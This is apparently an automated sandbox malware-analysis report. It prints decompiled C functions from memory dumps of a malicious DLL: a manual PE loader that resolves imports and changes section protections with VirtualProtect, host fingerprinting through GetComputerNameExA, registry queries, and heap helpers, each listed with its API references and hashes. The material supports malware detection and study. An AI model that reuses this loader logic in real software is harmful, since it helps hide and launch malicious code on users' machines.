Instruction Fuzzy Hash: 3821AF71200205EBCB23DFDBD984E9A37ACEB54314F20403AFA01D72A0DBB0E945DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10001020, Relevance: 4.6, APIs: 3, Instructions: 68
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E10001020(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t43;
				long _t54;
				signed int _t57;
				void* _t58;
				signed int _t60;

				_v12 = _v12 & 0x00000000;
				_t57 =  *0x10004140;
				_t58 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t57 - 0x63699bbf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t60 = _v12;
					if(_t60 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t54 = _t57 - 0x63699bbf;
							L9:
							_t43 = VirtualProtect( *((intOrPtr*)(_t58 + 0xc)) + _a4,  *(_t58 + 8), _t54,  &_v20); // executed
							if(_t43 == 0) {
								_v12 = GetLastError();
							}
							_v8 = _v8 + 1;
							_t58 = _t58 + 0x777fa9b0 + _t57 * 0x28;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t54 = _t57 - 0x63699bc1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t60 >= 0) {
						_t54 = _t57 - 0x63699ba3;
					} else {
						_t54 = _t57 - 0x63699b83;
					}
					goto L9;
				}
				goto L12;
			}

0x1000102a
0x10001037
0x1000103d
0x10001049
0x10001059
0x1000105b
0x10001063
0x100010f8
0x100010ff
0x00000000
0x00000000
0x00000000
0x10001069
0x10001069
0x10001069
0x1000106d
0x00000000
0x00000000
0x10001079
0x1000107d
0x100010a1
0x100010a5
0x100010b9
0x100010b9
0x100010bf
0x100010ce
0x100010d2
0x100010da
0x100010da
0x100010e2
0x100010e5
0x100010f2
0x00000000
0x00000000
0x00000000
0x00000000
0x100010f2
0x100010ad
0x100010b1
0x100010b7
0x00000000
0x00000000
0x00000000
0x100010b7
0x10001085
0x10001089
0x10001093
0x1000108b
0x1000108b
0x1000108b
0x00000000
0x10001089
0x00000000

APIs

VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001059
VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100010CE
GetLastError.KERNEL32 ref: 100010D4

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual$ErrorLast
String ID:
API String ID: 1469625949-0
Opcode ID: 4c1abea7d63bd184b642161f34ec9ab0476bfd5839e23a7afc9709ae091432d0
Instruction ID: 55d5e6ed89b845a5fd71f3802b2c0cbe7de798cc965a0c14a267950e676fa16c
Opcode Fuzzy Hash: 4c1abea7d63bd184b642161f34ec9ab0476bfd5839e23a7afc9709ae091432d0
Instruction Fuzzy Hash: D5217F31800247DFDB14CFA5C885AEAF7F5FF08399F00896AD14297499E3B8A699CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01401526, Relevance: 3.8, APIs: 3, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01401526(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed char* _t46;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E0140A71F(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x140d2d8, 0x90);
					_t27 =  *0x140d2dc; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						_t51 = _a4;
						E01401709(0x90, _a4, _t27, 0);
					}
					if(E014014F3( &_v36) != 0) {
						_t35 = E014037B8(0x90, _a4,  &_v20,  &_v12,  &_v36, 0); // executed
						if(_t35 == 0) {
							_t55 = _v20;
							_v36 =  *_t46;
							_v16 = E01404776(_t55, _a8, _t51, _t46, _a12);
							 *(_t55 + 4) = _v36;
							_t20 =  &(_t46[4]); // 0x8b4875c6
							memset(_t55, 0, _v12 - ( *_t20 & 0xf));
							_t57 = _t57 + 0xc;
							E0140A734(_t55);
						}
					}
					memset(_a4, 0, _t53);
					E0140A734(_a4);
				}
				return _v16;
			}

0x0140152c
0x01401531
0x0140153e
0x01401541
0x01401544
0x01401549
0x0140154e
0x0140155c
0x01401561
0x01401566
0x0140156b
0x0140156d
0x01401575
0x01401575
0x01401584
0x01401599
0x014015a0
0x014015a7
0x014015ad
0x014015bb
0x014015c1
0x014015c4
0x014015d1
0x014015d6
0x014015da
0x014015da
0x014015a0
0x014015e5
0x014015f0
0x014015f0
0x014015fc

APIs

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

memcpy.NTDLL(00000000,00000090,00000002,00000002,01405289,00000008,01405289,01405289,?,0140A3FE,01405289), ref: 0140155C
memset.NTDLL ref: 014015D1
memset.NTDLL ref: 014015E5

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: ba7f8d68ab17c6607e46cc86fd7a09f865342aa5ab934b6fd233b5764a303261
Instruction ID: f794c25450486a132eda333d0f63aa96a502c87afd04c21d7e5b045f6d2e0fcb
Opcode Fuzzy Hash: ba7f8d68ab17c6607e46cc86fd7a09f865342aa5ab934b6fd233b5764a303261
Instruction Fuzzy Hash: 1D212475900215ABDB12AF97CC40FDE7BB9AF24650F04403AF905EB2A1E734D605CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0140219B, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0140219B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E01403AB0(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x140d2a8; // 0x10fa5a8
						_t20 = _t68 + 0x140e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E014057B4(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x014021a1
0x014021a4
0x014021b4
0x014021bd
0x014021c1
0x0140228f
0x01402295
0x01402295
0x014021db
0x014021e0
0x014021e4
0x014021ea
0x014021ef
0x014021f6
0x01402205
0x01402205
0x01402209
0x0140220b
0x01402217
0x01402222
0x0140222d
0x01402231
0x0140223b
0x0140223f
0x01402241
0x01402246
0x0140224d
0x0140225d
0x0140225d
0x01402246
0x0140223f
0x0140225f
0x01402264
0x01402269
0x01402269
0x0140226c
0x01402275
0x0140227a
0x0140227a
0x0140227f
0x01402284
0x01402284
0x0140227f
0x01402209
0x01402286
0x0140228c
0x00000000

APIs

Part of subcall function 01403AB0: SysAllocString.OLEAUT32(80000002), ref: 01403B0D
Part of subcall function 01403AB0: SysFreeString.OLEAUT32(00000000), ref: 01403B73

SysFreeString.OLEAUT32(?), ref: 0140227A
SysFreeString.OLEAUT32(014085ED), ref: 01402284

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 4db97a47d511ce1434336a74b0bc0a2c646f5b06be14fcd3610040b15b946041
Instruction ID: 7b707e24c1e714b1157114ae006be2098cd0b3b86e4f53366cf251b2986b4b2f
Opcode Fuzzy Hash: 4db97a47d511ce1434336a74b0bc0a2c646f5b06be14fcd3610040b15b946041
Instruction Fuzzy Hash: 88315E71500119AFCB12EF9AC888C9BBB7AFBC9740710466DF9159B2A1D271DD51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001E55, Relevance: 3.1, APIs: 2, Instructions: 59
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001E55() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x10004144;
				if( *0x1000412c > 5) {
					_t16 = _t15 + 0x100050f9;
				} else {
					_t16 = _t15 + 0x100050b1;
				}
				E100016F1(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				if(E1000132A( &_v32,  &_v16,  *0x10004140 ^ 0xfd7cd1cf) == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x10004138);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E10001ADA(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x10004138 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E10002033(_t44, _t32 + 4);
						}
					}
					_t25 = E10001634(_v28); // executed
				}
				ExitThread(_t25);
			}

0x10001e5b
0x10001e6c
0x10001e76
0x10001e6e
0x10001e6e
0x10001e6e
0x10001e7d
0x10001e86
0x10001e8b
0x10001ea9
0x10001f05
0x10001eab
0x10001eb1
0x10001eb7
0x10001ec5
0x10001ec9
0x10001ed0
0x10001ed9
0x10001edd
0x10001ee3
0x10001ef4
0x10001ee5
0x10001eeb
0x10001eeb
0x10001ee3
0x10001efc
0x10001efc
0x10001f07

APIs

lstrlenW.KERNEL32(?), ref: 10001EB1
ExitThread.KERNEL32 ref: 10001F07

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitThreadlstrlen
String ID:
API String ID: 2636182767-0
Opcode ID: 116678ed17733bd9ed3f22f480b5e3fd2a9bdbacc699d8402b25238a8187df7b
Instruction ID: ab8ed00748b6518aaca1cd8150c39477dba6cc77ca46683760519d6ad69b4fbf
Opcode Fuzzy Hash: 116678ed17733bd9ed3f22f480b5e3fd2a9bdbacc699d8402b25238a8187df7b
Instruction Fuzzy Hash: C4115B725082469BF711DB64CC89ECB77ECEB583C0F02082AF951D71A9EB30E6458B96

Uniqueness

Uniqueness Score: -1.00%

Function 014058DB, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E014058DB(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E0140A71F(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E0140A734(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x014058e0
0x014058eb
0x014058ed
0x014058f3
0x014058f5
0x014058fa
0x01405903
0x01405907
0x01405910
0x01405914
0x01405923
0x01405916
0x01405917
0x0140591c
0x0140591c
0x01405914
0x01405907
0x0140592c

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,01401FA0,7519F710,00000000,?,?,01401FA0), ref: 014058F3

Part of subcall function 0140A71F: RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

GetComputerNameExA.KERNELBASE(00000003,00000000,01401FA0,01401FA1,?,?,01401FA0), ref: 01405910

Part of subcall function 0140A734: HeapFree.KERNEL32(00000000,00000000,01405637,00000000,?,?,00000000), ref: 0140A740

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: 021b5155d2fcfdac296c63f047a5aa7ef0cd12e2bc1e21d57532f58bb13f9e33
Instruction ID: 1944e6539255c1f9217dbf1822191c2c5d8f83619fb53bd9190ece313cfa2f6b
Opcode Fuzzy Hash: 021b5155d2fcfdac296c63f047a5aa7ef0cd12e2bc1e21d57532f58bb13f9e33
Instruction Fuzzy Hash: 5BF0B436600206BAEB12D79B9C00EAF36FCDBC6610F21007AE501E7290EA70DA018B70

Uniqueness

Uniqueness Score: -1.00%

Function 01404ECA, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x140d23c) == 0) {
						E01401B42();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x140d23c) == 1) {
						_t10 = E014012E5(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x01404ed1
0x01404ed2
0x01404ed5
0x01404f07
0x01404f09
0x01404f09
0x01404ed7
0x01404ed8
0x01404eed
0x01404ef4
0x01404ef6
0x01404ef6
0x01404ef4
0x01404ed8
0x01404f11

APIs

InterlockedIncrement.KERNEL32(0140D23C), ref: 01404EDF

Part of subcall function 014012E5: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,01404EF2,?), ref: 014012F8

InterlockedDecrement.KERNEL32(0140D23C), ref: 01404EFF

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: 0446f861cb8dcea16083c88799368c5791183f5b432fbd97d735f70e702a1314
Instruction ID: 07d8f1a6d89c15b0fdf39fb687395ca9cf5481a22c74cd82ae47fffd3af2911c
Opcode Fuzzy Hash: 0446f861cb8dcea16083c88799368c5791183f5b432fbd97d735f70e702a1314
Instruction Fuzzy Hash: 27E0DF3120813293A2235BFB8A4CB1BAA42AB91B90F18493FF781E01F0C230C840D2A6

Uniqueness

Uniqueness Score: -1.00%

Function 014048F1, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E014048F1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x140d2a8; // 0x10fa5a8
				_t4 = _t15 + 0x140e39c; // 0x2508944
				_t20 = _t4;
				_t6 = _t15 + 0x140e124; // 0x650047
				_t17 = E0140219B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E01402298(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x014048fb
0x01404902
0x01404903
0x01404904
0x01404905
0x0140490b
0x01404910
0x01404910
0x0140491a
0x0140492c
0x01404933
0x01404961
0x01404935
0x01404937
0x0140493c
0x0140495e
0x0140493e
0x01404941
0x01404948
0x0140494d
0x0140494f
0x0140494f
0x01404954
0x01404954
0x0140493c
0x01404968

APIs

Part of subcall function 0140219B: SysFreeString.OLEAUT32(?), ref: 0140227A

Part of subcall function 01402298: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,014084CA,004F0053,00000000,?), ref: 014022A1
Part of subcall function 01402298: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,014084CA,004F0053,00000000,?), ref: 014022CB
Part of subcall function 01402298: memset.NTDLL ref: 014022DF

SysFreeString.OLEAUT32(00000000), ref: 01404954

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 98b51773afde3597d3810aedc6f4ea676b51dfea67ff06034b66d39d32f6f45b
Instruction ID: 8ce982149f373c5aa666a61a617153aa5d7248d28d0328b81eb4858e3ce1b882
Opcode Fuzzy Hash: 98b51773afde3597d3810aedc6f4ea676b51dfea67ff06034b66d39d32f6f45b
Instruction Fuzzy Hash: 22015A3250012ABFDB53AFBACC44DABBBB9EB44650F04453AEA14A71B1E7709925C790

Uniqueness

Uniqueness Score: -1.00%

Function 100016F1, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E100016F1(void* __eax, intOrPtr _a4) {

				 *0x10004150 =  *0x10004150 & 0x00000000;
				_push(0);
				_push(0x1000414c);
				_push(1);
				_push(_a4);
				 *0x10004148 = 0xc; // executed
				L10001A3E(); // executed
				return __eax;
			}

0x100016f1
0x100016f8
0x100016fa
0x100016ff
0x10001701
0x10001705
0x1000170f
0x10001714

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(10001E82,00000001,1000414C,00000000), ref: 1000170F

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: c61367c42b0475a435da7ef8647a919691ac96a9d7cf21db5be20c61e91521ee
Instruction ID: c754c69a99eee57bc17a19cef26cf4e48c55fe35ecd49d9a529ee64d39f5317a
Opcode Fuzzy Hash: c61367c42b0475a435da7ef8647a919691ac96a9d7cf21db5be20c61e91521ee
Instruction Fuzzy Hash: 5AC04CF8241350A6F620DF408C85FC57A51B7A5785F124504F214251D9CBB51094851D

Uniqueness

Uniqueness Score: -1.00%

Function 0140A71F, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0140A71F(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x140d238, 0, _a4); // executed
				return _t2;
			}

0x0140a72b
0x0140a731

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,01405595), ref: 0140A72B

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: feac392abbea49437740eeb419d92a0495643c1b1785a8e8a98a1231e99d8e0b
Instruction ID: 619f2a8b30b588e374218ff1e9ff05565d06ec5397aa31c1229f7fabf6ad9dad
Opcode Fuzzy Hash: feac392abbea49437740eeb419d92a0495643c1b1785a8e8a98a1231e99d8e0b
Instruction Fuzzy Hash: DDB01271400100EBCA238BC1DF08F05BB21BB50700F118214B204440B883314464EB05

Uniqueness

Uniqueness Score: -1.00%

Function 10001634, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E10001634(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x10004140;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x10004140 - 0x63698bc4 &  !( *0x10004140 - 0x63698bc4);
				_t18 = E10001146( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x10004140 - 0x63698bc4 &  !( *0x10004140 - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x10004140 - 0x63698bc4 &  !( *0x10004140 - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E10001CBE(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E10001BAC(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E10001020(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E1000201E(_t42);
					L8:
					return _t29;
				}
			}

0x1000163c
0x1000163e
0x1000165a
0x1000166b
0x10001672
0x100016d0
0x00000000
0x10001674
0x10001674
0x1000167e
0x10001682
0x10001687
0x1000168a
0x1000168f
0x10001693
0x10001698
0x1000169d
0x100016a1
0x100016a6
0x100016a7
0x100016ab
0x100016b0
0x100016b8
0x100016b8
0x100016b0
0x100016a1
0x10001693
0x100016ba
0x100016c3
0x100016c7
0x100016d1
0x100016d7
0x100016d7

APIs

Part of subcall function 10001146: GetModuleHandleA.KERNEL32(?,00000020), ref: 1000116A
Part of subcall function 10001146: GetProcAddress.KERNEL32(00000000,?), ref: 1000118C
Part of subcall function 10001146: GetProcAddress.KERNEL32(00000000,?), ref: 100011A2
Part of subcall function 10001146: GetProcAddress.KERNEL32(00000000,?), ref: 100011B8
Part of subcall function 10001146: GetProcAddress.KERNEL32(00000000,?), ref: 100011CE
Part of subcall function 10001146: GetProcAddress.KERNEL32(00000000,?), ref: 100011E4

Part of subcall function 10001CBE: memcpy.NTDLL(?,?,?,?,?,?,?,?,1000167E,?), ref: 10001CF5
Part of subcall function 10001CBE: memcpy.NTDLL(?,?,?), ref: 10001D2A

Part of subcall function 10001BAC: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 10001BE4

Part of subcall function 10001020: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001059
Part of subcall function 10001020: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100010CE
Part of subcall function 10001020: GetLastError.KERNEL32 ref: 100010D4

GetLastError.KERNEL32 ref: 100016B2

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 128863c4b96fdd5e0b5520693e17a9650446fa3d9ad2d900b697df63d12b79e3
Instruction ID: 2910a6364c5bb3ba5c3e70b9206c46a00ef4e134a19efb6f23cc70e8801df8ba
Opcode Fuzzy Hash: 128863c4b96fdd5e0b5520693e17a9650446fa3d9ad2d900b697df63d12b79e3
Instruction Fuzzy Hash: 3311087A7003126BE721DBA98CC0DDF77BCEF882847054128F901D7649EBA1ED0687A0

Uniqueness

Uniqueness Score: -1.00%

Function 01405356, Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01405356(intOrPtr* __edi, void* _a4, intOrPtr _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E01408BC1(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x140d238, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E014048F1(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}

0x01405356
0x0140535e
0x01405375
0x01405390
0x01405394
0x01405399
0x0140539b
0x014053ad
0x014053b9
0x0140539d
0x0140539d
0x014053a2
0x014053a7
0x014053a7
0x0140539b
0x014053bf
0x014053c3
0x014053c3
0x0140536a
0x0140536f
0x01405373
